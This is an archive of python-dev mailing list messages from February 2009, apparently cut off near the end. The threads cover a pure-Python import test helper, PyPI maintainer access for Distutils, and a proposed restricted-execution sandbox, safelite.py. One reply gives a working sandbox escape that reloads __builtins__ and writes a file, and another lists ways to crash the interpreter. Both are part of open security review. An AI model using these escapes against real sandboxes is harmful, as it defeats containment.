date:20090223

> I am trying to use python gdb to debug a python process that is hanginig
> - it is a thread lock situation.

Larry,

python-dev is a mailing list for the development of Python, not the
development with Python. So this question is off-topic.

> 1) Does anyone have any idea why this might be happening ?

Most likely, you didn't compile Python for debugging.

> 2) I have been unable to find any documentation (other than the gdbinit
> macros) about the make up of the Gdb wrapper objects and how to access
> the information in them. Does anyone know where I might get hold of some ?

I don't even know what a "Gdb wrapper object" is...

Regards,
Martin
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Choosing a best practice solution for Python/extension modules

2009-02-23 Thread Nick Coghlan

Brett Cannon wrote:
> I don't want to move it because this isn't some idea for a new feature
> that may or may not be useful; this isn't an "idea", it's needed.

It is needed, but it's only really needed in the test suite. The
"sys.modules hackery" needed to get a Python-only version using the
existing idiom really isn't that complicated and the associated import
behaviour is perfectly well defined (putting a 0 in sys.modules may
currently be a bit questionable, but I'd prefer to make sure that is
officially supported with the desired effect rather than trying to
define a new idiom for the actual library code for handling optional
optimised extension modules).

So, I'm still not seeing any significant problem with providing a
utility function in test.support that hides that hackery and returns the
pure Python version of the module.

For example, a version that allows any number of extension modules to be
suppressed when importing a module (defaulting to the Foo/_Foo naming):

  import sys
  def import_python_only(mod_name, *ext_names):
if not ext_names:
ext_names = (("_" + mod_name),)
orig_modules = {}
if name in sys.modules:
  orig_modules[name] = sys.modules[name]
  del sys.modules[name]
try:
  for name in ext_names:
orig_modules[name] = sys.modules[name]
sys.modules[name] = 0
  py_module = importlib.import_module(mod_name)
finally:
  for name, module in orig_modules.items():
sys.modules[name] = module
return py_module

Cheers,
Nick.

-- 
Nick Coghlan   |   ncogh...@gmail.com   |   Brisbane, Australia
---
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

[Python-Dev] Greg Ward email

2009-02-23 Thread Tarek Ziadé

Hello,

I am trying to reach Greg Ward to get a maintainer access to Distutils
at PyPI, but his email address at python.net (and some other) doesn't
work anymore.

Anyone knows how to reach him ?

Thanks
Tarek

-- 
Tarek Ziadé | Association AfPy | www.afpy.org
Blog FR | http://programmation-python.org
Blog EN | http://tarekziade.wordpress.com/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] socket recv on win32 can be extremly delayed $python bug?$

2009-02-23 Thread Simon Laan



_
Blijf altijd op de hoogte van wat jouw vrienden doen
http://home.live.com___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

On Sun, Feb 22, 2009 at 8:14 PM, P.J. Eby  wrote:
> At 07:56 PM 2/22/2009 -0800, Guido van Rossum wrote:
>>
>> On Sun, Feb 22, 2009 at 7:39 PM, P.J. Eby  wrote:
>> > Just a question, but, if you just need a pure-python restricted
>> > environment
>> > for App Engine, why not just use the RestrictedPython package (i.e.,
>> > http://pypi.python.org/pypi/RestrictedPython )?
>>
>> How does that work? Remember, app engine doesn't support certain
>> things, and bytecode manipulations (if that's what RestrictedPython
>> does) are one of the unsupported things.
>
> It doesn't modify bytecode, it modifies an AST.  It basically replaces
> prints, and attribute/item read/writes with function calls.

If it rewrites *every* attribute read/write with a function call that
can get really expensive. Are you saying it also replaces
getitem/setitem? Even worse.

> Unfortunately,
> it does this AST modification by running as a traversal against the stdlib
> compiler package's AST, not a modern AST.  So, I suppose it might not be
> usable as-is on app engine.

Actually, its essential components are easily retrieved through a hack
(Google for it ;-). If I weren't so busy I would have made it
importable a long time agon.

> It does, however, have the advantage of having been used in Zope for oh, six
> or seven years now?  ISTM that it first came out around the same time as
> Python 2.3, and the latest version just dropped support for Python 2.1 and
> 2.2.  So, if you want something that wasn't thrown together in an afternoon,
> it might be a good thing to take a look at.  ;-)
>
>
>> The other reason I can think of is that Tav is a capabilities purist. :-)
>
> You can implement capabilities on top of RestrictedPython; it's simply a
> policy-neutral enforcement framework.
>
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

Le Sunday 22 February 2009 17:45:27 Guido van Rossum, vous avez écrit :
> I've received some enthusiastic emails from someone who wants to
> revive restricted mode. 
> (...) 
> Based on his code (the file secure.py is all you need, included in
> secure.tar.gz) it seems he believes the only security leaks are
> __subclasses__, gi_frame and gi_code. (I have since convinced him that
> if we add "restricted" guards to these attributes, he doesn't need the
> functions added to sys.)

Some ways to "crash" Python:

 - use ctypes: invalid memory read/write
 - use os.kill(): kill the current process
 - call buggy function: invalid memory read/write or denial of service
 - "while 1: pass": denial of service
 - allocate many huge objects: MemoryError (maybe invalid memory read/write)
 - load a buggy .pyc file: invalid memory read/write
 - recursive structures/function calls: stack overflow (in buggy functions,
   see the bug tracker)
 - etc.

Protections against these attacks:

 - Module whitelist (or a least use a blacklist of all modules written in C)
 - use system quota: resource.setrlimit() on Linux => set max CPU 
   time and max memory limits (or signal.alarm() for the timeout)
 - Run a fuzzer on Python and fix all bugs :-)

I wrote a short document in Python's wiki on the different security projects:

   http://wiki.python.org/moin/Security

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

None of those are useful attacks on app engine though.

On Mon, Feb 23, 2009 at 7:57 AM, Victor Stinner
 wrote:
> Le Sunday 22 February 2009 17:45:27 Guido van Rossum, vous avez écrit :
>> I've received some enthusiastic emails from someone who wants to
>> revive restricted mode.
>> (...)
>> Based on his code (the file secure.py is all you need, included in
>> secure.tar.gz) it seems he believes the only security leaks are
>> __subclasses__, gi_frame and gi_code. (I have since convinced him that
>> if we add "restricted" guards to these attributes, he doesn't need the
>> functions added to sys.)
>
> Some ways to "crash" Python:
>
>  - use ctypes: invalid memory read/write
>  - use os.kill(): kill the current process
>  - call buggy function: invalid memory read/write or denial of service
>  - "while 1: pass": denial of service
>  - allocate many huge objects: MemoryError (maybe invalid memory read/write)
>  - load a buggy .pyc file: invalid memory read/write
>  - recursive structures/function calls: stack overflow (in buggy functions,
>   see the bug tracker)
>  - etc.
>
> Protections against these attacks:
>
>  - Module whitelist (or a least use a blacklist of all modules written in C)
>  - use system quota: resource.setrlimit() on Linux => set max CPU
>   time and max memory limits (or signal.alarm() for the timeout)
>  - Run a fuzzer on Python and fix all bugs :-)
>
> I wrote a short document in Python's wiki on the different security projects:
>
>   http://wiki.python.org/moin/Security
>
> --
> Victor Stinner aka haypo
> http://www.haypocalc.com/blog/
> ___
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: 
> http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

Dearest fellow Python lovers,

Could one of you please review:

http://codereview.appspot.com/20051

The patch is a mere 6 lines of code and provides the absolute minimum
that is needed to secure the Python interpreter! [This patch is for
Python 2.5.4 -- I can create one for the other branches too if
wanted...]

It turns out that the __builtins__ based restricted framework is pure
genius and gives us nearly everything that's needed to secure our
beloved interpreter. This patch simply closes the two holes in 2.5.x
-- type.__subclasses__ and GeneratorType.gi_frame.
GeneratorType.gi_code would need to be restricted in 2.6 and above.

The problem with rexec and brethren have simply been that we tried to
do class-based sandboxing. This approach is filled with dark
exploitable corners. In contrast, a function-based approach gives us
security through the simplicity of the object-capability model.

Or at least I currently believe so =)

Once this patch gets through onto App Engine, I'll create an app with
a sandboxed framework built around it and you can all prove me wrong.
But, for the sake of my relationship with the missus, I hope not ;p

Please note that this patch doesn't do anything to prevent any of the
various crashers in Python. It is not the intention of this patch to
make the interpreter invincible against segfaults or exhaustion of
resource attacks. For that, I heartily recommend taking a look at
PyPy's sandboxed interpreter and/or the magic of App Engine.

In the extremely remote chance that I am right -- pigs could fly,
right? ;p -- and the sandboxed App Engine app turns out to be
impenetrable, I would like to then get approval to simplify the
current restricted execution support in the interpreter and create a
modernised equivalent of the rexec module.

Does that seem reasonable to you all?

tav>
http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util

martin> What is the objective of this code? Is it a complete
martin> sandbox? If not, is a complete sandbox based on
martin> it available somehow for review?

Martin, sorry, not yet.

I'll code one once the patch gets through and release it for use/review.

And if people like it, it could form the basis for the modernised
rexec I mentioned above...

krstic> http://radian.org/~krstic/sandbox.py

Thank you Ivan for that Genshi sample!

Would you be interested in working with me on the Genshi aspect for
the new sandbox framework?

pje> Just a question, but, if you just need a pure-python
pje> restricted environment for App Engine, why not just
pje> use the RestrictedPython package?

I'm aware of the various Zope offerings.

Performance is the answer to your question.

Also, when it comes to security, I am a deep believer in simplicity.

Thanks again!

--
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

And, here's a version for Python 2.6+ -- diffed against an svn
checkout of the current python/trunk:

  http://codereview.appspot.com/21051/show

Please review also. Cheers!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Greg Ward email

2009-02-23 Thread A.M. Kuchling

On Mon, Feb 23, 2009 at 02:16:17PM +0100, Tarek Ziadé wrote:
> I am trying to reach Greg Ward to get a maintainer access to Distutils
> at PyPI, but his email address at python.net (and some other) doesn't
> work anymore.

Greg's website at www.gerg.ca (not a typo!) has e-mail addresses.

However, the package index entry at
http://pypi.python.org/pypi/Distutils/1.0 lists Greg as the author,
but it's not actually owned by him; it looks like some random person
registered it.  So we should probably just reassign the package to Tarek.

--amk
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Greg Ward email

2009-02-23 Thread Tarek Ziadé

On Mon, Feb 23, 2009 at 6:43 PM, A.M. Kuchling  wrote:
> On Mon, Feb 23, 2009 at 02:16:17PM +0100, Tarek Ziadé wrote:
>> I am trying to reach Greg Ward to get a maintainer access to Distutils
>> at PyPI, but his email address at python.net (and some other) doesn't
>> work anymore.
>
> Greg's website at www.gerg.ca (not a typo!) has e-mail addresses.

Yes that's were I tried at first

>
> However, the package index entry at
> http://pypi.python.org/pypi/Distutils/1.0 lists Greg as the author,
> but it's not actually owned by him; it looks like some random person
> registered it.  So we should probably just reassign the package to Tarek.

That would be great, so i can start to release the standalone versions,

Thanks
Tarek

-- 
Tarek Ziadé | Association AfPy | www.afpy.org
Blog FR | http://programmation-python.org
Blog EN | http://tarekziade.wordpress.com/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Choosing a best practice solution for Python/extension modules

On Sun, Feb 22, 2009 at 22:41, Aahz  wrote:

> On Sun, Feb 22, 2009, Brett Cannon wrote:
> > On Sat, Feb 21, 2009 at 20:12, Aahz  wrote:
> >> On Sat, Feb 21, 2009, Brett Cannon wrote:
> >>> On Sat, Feb 21, 2009 at 15:46, Aahz  wrote:
>  On Sat, Feb 21, 2009, Brett Cannon wrote:
> >
> > I am seeing two approaches emerging. One is where pickle contains all
> > Python code and then uses something like use_extension to make sure
> > the original Python objects are still reachable at some point. This
> > has the drawback that you have to use some function to make the
> > extensions happen and there is some extra object storage.
> >
> > The other approach is having pickle contain code known not to
> > be overridden by anyone, import _pypickle for stuff that may be
> > overridden, and then import _pickle for whatever is available. This
> > approach has the perk of using a standard practice for how to pull in
> > different implementation. But the drawback, thanks to how globals are
> > bound, is that any code pulled in from _pickle/_pypickle will not be
> > able to call into other optimized code; it's a take or leave it once
> > the call chain enters one of those modules as they will always call
> > the implementations in the module they originate from.
> 
>  To what extent do we care about being able to select Python-only on a
>  per-module basis, particularly in the face of threaded imports?  That
> >> is,
>  we could have a sys.python_only attribute that gets checked on import.
>  That's simple and direct, and even allows per-module switching if the
>  application really cares and import doesn't need to worry about
> threads.
> 
>  Alternatively, sys.python_only could be a set, but that gets ugly
> about
>  setting from the application.  (The module checks to see whether it's
>  listed in sys.python_only.)
> 
>  Maybe we should move this discussion to python-ideas for now to kick
>  around really oddball suggestions?
> >>>
> >>> This is all about testing. If a change is made to some extension code
> it
> >>> should be mirrored in the Python code and vice-versa.
> >>
> >> Okay, I don't see how that is a response to my suggestion -- I can
> >> imagine that someone might want to test a combination of pure-Python and
> >> binary libraries.
> >
> > I don't want to move it because this isn't some idea for a new feature
> that
> > may or may not be useful; this isn't an "idea", it's needed.
>
> That's fine, but what about my idea of using sys.python_only?


But what is it supposed to represent? That only pure Python modules get
imported? What if the module depends on another module that is an extension
module?

-Brett
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Choosing a best practice solution for Python/extension modules

On Mon, Feb 23, 2009 at 04:02, Nick Coghlan  wrote:

> Brett Cannon wrote:
> > I don't want to move it because this isn't some idea for a new feature
> > that may or may not be useful; this isn't an "idea", it's needed.
>
> It is needed, but it's only really needed in the test suite. The
> "sys.modules hackery" needed to get a Python-only version using the
> existing idiom really isn't that complicated and the associated import
> behaviour is perfectly well defined (putting a 0 in sys.modules may
> currently be a bit questionable, but I'd prefer to make sure that is
> officially supported with the desired effect rather than trying to
> define a new idiom for the actual library code for handling optional
> optimised extension modules).
>
> So, I'm still not seeing any significant problem with providing a
> utility function in test.support that hides that hackery and returns the
> pure Python version of the module.
>

Well, neither do I as your proposed approach below is what I do for
warnings. But I think you and I, Nick, are more comfortable with mucking
with imports than most people. =) I think some people early on in this
thread said they didn't like the idea of screwing around with sys.modules.
But doing that along with an import * from the extension module is probably
the simplest solution.

-Brett


>
> For example, a version that allows any number of extension modules to be
> suppressed when importing a module (defaulting to the Foo/_Foo naming):
>
>  import sys
>  def import_python_only(mod_name, *ext_names):
>if not ext_names:
>ext_names = (("_" + mod_name),)
>orig_modules = {}
>if name in sys.modules:
>  orig_modules[name] = sys.modules[name]
>  del sys.modules[name]
>try:
>  for name in ext_names:
>orig_modules[name] = sys.modules[name]
>sys.modules[name] = 0
>  py_module = importlib.import_module(mod_name)
>finally:
>  for name, module in orig_modules.items():
>sys.modules[name] = module
>return py_module
>
> Cheers,
> Nick.
>
> --
> Nick Coghlan   |   ncogh...@gmail.com   |   Brisbane, Australia
> ---
>
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

On Mon, Feb 23, 2009 at 09:23, tav  wrote:

> Dearest fellow Python lovers,
>
> Could one of you please review:
>
>  http://codereview.appspot.com/20051
>
> The patch is a mere 6 lines of code and provides the absolute minimum
> that is needed to secure the Python interpreter! [This patch is for
> Python 2.5.4 -- I can create one for the other branches too if
> wanted...]
>
> It turns out that the __builtins__ based restricted framework is pure
> genius and gives us nearly everything that's needed to secure our
> beloved interpreter. This patch simply closes the two holes in 2.5.x
> -- type.__subclasses__ and GeneratorType.gi_frame.
> GeneratorType.gi_code would need to be restricted in 2.6 and above.
>
> The problem with rexec and brethren have simply been that we tried to
> do class-based sandboxing. This approach is filled with dark
> exploitable corners. In contrast, a function-based approach gives us
> security through the simplicity of the object-capability model.
>

If you block __closure__ and __globals__ on function objects you will get a
semblance of a private namespace. That way you might (I have not thought
this one through like securing the interpreter for embedding) be able to get
what you need to safely pass in Python code through the globals of the code
being executed.

-Brett


>
> Or at least I currently believe so =)
>
> Once this patch gets through onto App Engine, I'll create an app with
> a sandboxed framework built around it and you can all prove me wrong.
> But, for the sake of my relationship with the missus, I hope not ;p
>
> Please note that this patch doesn't do anything to prevent any of the
> various crashers in Python. It is not the intention of this patch to
> make the interpreter invincible against segfaults or exhaustion of
> resource attacks. For that, I heartily recommend taking a look at
> PyPy's sandboxed interpreter and/or the magic of App Engine.
>
> In the extremely remote chance that I am right -- pigs could fly,
> right? ;p -- and the sandboxed App Engine app turns out to be
> impenetrable, I would like to then get approval to simplify the
> current restricted execution support in the interpreter and create a
> modernised equivalent of the rexec module.
>
> Does that seem reasonable to you all?
>
>  tav>
> http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util
>
>  martin> What is the objective of this code? Is it a complete
>  martin> sandbox? If not, is a complete sandbox based on
>  martin> it available somehow for review?
>
> Martin, sorry, not yet.
>
> I'll code one once the patch gets through and release it for use/review.
>
> And if people like it, it could form the basis for the modernised
> rexec I mentioned above...
>
>  krstic> 
> http://radian.org/~krstic/sandbox.py
>
> Thank you Ivan for that Genshi sample!
>
> Would you be interested in working with me on the Genshi aspect for
> the new sandbox framework?
>
>  pje> Just a question, but, if you just need a pure-python
>  pje> restricted environment for App Engine, why not just
>  pje> use the RestrictedPython package?
>
> I'm aware of the various Zope offerings.
>
> Performance is the answer to your question.
>
> Also, when it comes to security, I am a deep believer in simplicity.
>
> Thanks again!
>
> --
> love, tav
>
> plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
> http://tav.espians.com | @tav | skype:tavespian
> ___
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Choosing a best practice solution for Python/extension modules

2009-02-23 Thread Steven Bethard

On Mon, Feb 23, 2009 at 04:02, Nick Coghlan  wrote:
> For example, a version that allows any number of extension modules to be
> suppressed when importing a module (defaulting to the Foo/_Foo naming):
>
>  import sys
>  def import_python_only(mod_name, *ext_names):
>if not ext_names:
>ext_names = (("_" + mod_name),)
>orig_modules = {}
>if name in sys.modules:
>  orig_modules[name] = sys.modules[name]
>  del sys.modules[name]
>try:
>  for name in ext_names:
>orig_modules[name] = sys.modules[name]
>sys.modules[name] = 0
>  py_module = importlib.import_module(mod_name)
>finally:
>  for name, module in orig_modules.items():
>sys.modules[name] = module
>return py_module

On Mon, Feb 23, 2009 at 11:05 AM, Brett Cannon  wrote:
> Well, neither do I as your proposed approach below is what I do for
> warnings. But I think you and I, Nick, are more comfortable with mucking
> with imports than most people. =) I think some people early on in this
> thread said they didn't like the idea of screwing around with sys.modules.
> But doing that along with an import * from the extension module is probably
> the simplest solution.

+1 for something like Nick's code. No one has to know they're mucking
around with sys.modules - they just have to use the
import_python_only() function. (And I haven't seen anything in this
thread that's really any better.)

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
--- Bucky Katt, Get Fuzzy
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

[Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

Hey all,

As an attempt to convince everyone of the merits of my functions-based
approach to security, I've come up with a simple challenge. I've
attached it as safelite.py

The challenge is simple:

* Open a fresh Python interpreter
* Do: >>> from safelite import FileReader
* You can use FileReader to read files on your filesystem
* Now find a way to *write* to the filesystem from your interpreter

Please note that the aim of this isn't to protect Python against
crashes/segfaults or exhaustion of resources attacks, so those don't
count.

I'm keen to know your experiences even if you don't manage to write to
the filesystem -- and especially if you do!

Dinner and drinks on me for an evening -- when you are next in London
or I am in your town -- to the first person who manages to break
safelite.py and write to the filesystem.

Good luck and thanks! =)

> If you block __closure__ and __globals__ on function objects you will get a
> semblance of a private namespace. That way you might (I have not thought
> this one through like securing the interpreter for embedding) be able to get
> what you need to safely pass in Python code through the globals of the code
> being executed.

Brett, this is exactly what I do. You also need to restrict func_code.
The patch is simply for closing the other loopholes:
type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible
in a patch of 6 lines of code thanks to Python's existing restricted
framework in the interpreter.

Please review and accept =)

* http://codereview.appspot.com/20051
* http://codereview.appspot.com/21051

Thanks!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
"""
Please try and break this.

On a fresh Python interpreter, do the following:

  >>> from safelite import FileReader

You should now be able to read files as you want...

Now, please try and *write* to a file on the filesystem from within the
interpreter.

Please note that the aim of this isn't to protect Python against segfaults or
exhaustion of resources attacks, so those don't count.

Let me know  or Python-Dev how your experience goes -- whether
this seems to work for you or not. Thanks!

"""

import __builtin__
import sys

from sys import _getframe as get_frame
from types import FunctionType, GeneratorType

__all__ = ['FileReader']

# --
# map funktion attribute names for python versions >= 2.6
# --

FUNCTION_PY26_ATTRS = {
'func_code': '__code__',
'func_globals': '__globals__',
'func_closure': '__closure__'
}

# --
# sekure the interpreter!
# --

def secure_python():
"""Remove insecure variables from the Python interpreter."""

from ctypes import pythonapi, POINTER, py_object

get_dict = pythonapi._PyObject_GetDictPtr
get_dict.restype = POINTER(py_object)
get_dict.argtypes = [py_object]

def dictionary_of(ob):
dptr = get_dict(ob)
if dptr and dptr.contents:
return dptr.contents.value

if sys.version_info >= (3, 0):
py_version = 2
elif sys.version_info >= (2, 6):
py_version = 1
else:
py_version = 0

for attr in FUNCTION_PY26_ATTRS.keys():
if py_version <= 1:
del dictionary_of(FunctionType)[attr]
if py_version >= 1:
del dictionary_of(FunctionType)[FUNCTION_PY26_ATTRS[attr]]

del dictionary_of(type)['__subclasses__']
del dictionary_of(GeneratorType)['gi_frame']

if py_version:
del dictionary_of(GeneratorType)['gi_code']

def secure_python_builtins():
"""Remove dangerous builtins like ``file`` and patch appropriately."""

for item in ['open', 'file', 'execfile']:
del __builtin__.__dict__[item]

def null(*args, **kwargs):
pass

import linecache
linecache.open = FileReader

import site
site.file = FileReader

__builtin__.__import__ = null

# --
# pseudo-klass-like namespase wrapper
# --

class NamespaceContext(type):
"""A Namespace Context metaclass."""

def __call__(klass, __getter):
for name, obj in __getter:
setattr(klass, name, obj)
return type.__call__(klass, __getter)

def __str__(klass):
return 'NamespaceContext%s' % (tuple(klass.__dict__.keys()),)

def _Namespace():

__private_data = {}

def Namespace(*args, **kwargs):
"""Return a Namespace from the current scope or the given arguments."""

class NamespaceObject(tuple):

__metaclass__ = NamespaceContext

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

On Mon, Feb 23, 2009 at 12:10, tav  wrote:

> Hey all,
>
> As an attempt to convince everyone of the merits of my functions-based
> approach to security, I've come up with a simple challenge. I've
> attached it as safelite.py
>
> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter
>
> Please note that the aim of this isn't to protect Python against
> crashes/segfaults or exhaustion of resources attacks, so those don't
> count.
>
> I'm keen to know your experiences even if you don't manage to write to
> the filesystem -- and especially if you do!
>
> Dinner and drinks on me for an evening -- when you are next in London
> or I am in your town -- to the first person who manages to break
> safelite.py and write to the filesystem.
>
> Good luck and thanks! =)
>
> > If you block __closure__ and __globals__ on function objects you will get
> a
> > semblance of a private namespace. That way you might (I have not thought
> > this one through like securing the interpreter for embedding) be able to
> get
> > what you need to safely pass in Python code through the globals of the
> code
> > being executed.
>
> Brett, this is exactly what I do.


Ah, OK. I just quickly looked at your patches on codereview and noticed that
neither __closure__ or __globals__  have been touched.


> You also need to restrict func_code.


I assume you are worried about getting a hold of the code type and
constructing code objects from scratch?


>
> The patch is simply for closing the other loopholes:
> type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible
> in a patch of 6 lines of code thanks to Python's existing restricted
> framework in the interpreter.
>
> Please review and accept =)
>

I personally don't have the time. The feedback in this email is all I can
spare.

-Brett
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

Hey Brett,

> Ah, OK. I just quickly looked at your patches on codereview and noticed that
> neither __closure__ or __globals__  have been touched.

Those are already restricted by Python when __builtins__ is not the
same as the standard one.

> I assume you are worried about getting a hold of the code type and
> constructing code objects from scratch?

Right. And, func_code is restricted too so didn't need any additional support.

>> Please review and accept =)

> I personally don't have the time. The feedback in this email is all I can
> spare.

That's cool -- thanks for this much!

I'm hoping someone out there has a few spare minutes.

The patch is just 6 lines of code...

Someone? Pretty please? =)

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

2009-02-23 Thread Steven Bethard

On Mon, Feb 23, 2009 at 12:10 PM, tav  wrote:
> Hey all,
>
> As an attempt to convince everyone of the merits of my functions-based
> approach to security, I've come up with a simple challenge. I've
> attached it as safelite.py
>
> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter

If you really want people to try and break it, I suggest you send it
to c.l.py - there are load of people there with too much time on their
hands. ;-)

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
--- Bucky Katt, Get Fuzzy
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

I sent a link out to Twitter...

On Mon, Feb 23, 2009 at 12:40 PM, Steven Bethard
 wrote:
> On Mon, Feb 23, 2009 at 12:10 PM, tav  wrote:
>> Hey all,
>>
>> As an attempt to convince everyone of the merits of my functions-based
>> approach to security, I've come up with a simple challenge. I've
>> attached it as safelite.py
>>
>> The challenge is simple:
>>
>> * Open a fresh Python interpreter
>> * Do: >>> from safelite import FileReader
>> * You can use FileReader to read files on your filesystem
>> * Now find a way to *write* to the filesystem from your interpreter
>
> If you really want people to try and break it, I suggest you send it
> to c.l.py - there are load of people there with too much time on their
> hands. ;-)
>
> Steve
> --
> I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
> tiny blip on the distant coast of sanity.
>--- Bucky Katt, Get Fuzzy
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter

Well, the challenge is to get access to a module. And... it's quite simple :-p

$ ./python
>>> from safelite import FileReader
>>> __builtins__.file
Traceback (most recent call last):
  File "", line 1, in 
AttributeError: 'module' object has no attribute 'file'
>>> reload(__builtins__)

>>> file('0wn3d', 'w').write('w00t\n')
>>>
$ cat 0wn3d
w00t

> Dinner and drinks on me for an evening -- when you are next in London
> or I am in your town -- to the first person who manages to break
> safelite.py and write to the filesystem.

Cool. It's a good reason to go to Pycon UK this yeak ;-)

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Choosing a best practice solution for Python/extension modules

2009-02-23 Thread Nick Coghlan

Brett Cannon wrote:
> Well, neither do I as your proposed approach below is what I do for
> warnings.

It's possible I actually had test_warnings.py open in another window
while writing that example function... ;)

As Steven said, your concerns are precisely why I'm suggesting hiding
this in a helper function - so people that aren't quite as comfortable
playing games with sys.modules can still use it to suppress particular
extension modules when writing tests. Initially for the Python
regression test suite only, but perhaps eventually in importlib if we're
happy with the way it works out for us.

Created http://bugs.python.org/issue5354 and assigned it to myself so we
don't forget about it.

Cheers,
Nick.

-- 
